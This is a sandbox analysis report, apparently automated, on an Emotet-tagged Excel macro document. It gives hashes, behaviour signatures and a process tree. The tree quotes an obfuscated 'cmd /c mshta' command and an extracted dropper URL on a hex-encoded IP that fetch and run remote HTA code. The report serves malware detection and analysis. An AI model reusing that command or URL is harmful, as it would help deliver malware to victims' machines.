Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 02:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e.xlsm

  • Size

    115KB

  • MD5

    893d6acea1a40c6e89c1d91e817b1666

  • SHA1

    d4d00133a9ebc071965bba4e7d0cdcc149fbeb78

  • SHA256

    45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e

  • SHA512

    933fd581286cd2dc4771aa0c77bc49fccabd3bb60f3f959888ebc20a42b48d7d19f7f420da32e8e7eca8d6a964dfbf02862ba944195ab73bcce45d98539c5667

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3684
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4964
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2432
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3248

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3684-115-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-116-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-117-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-118-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-121-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-128-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3684-129-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

      Filesize

      64KB

      Download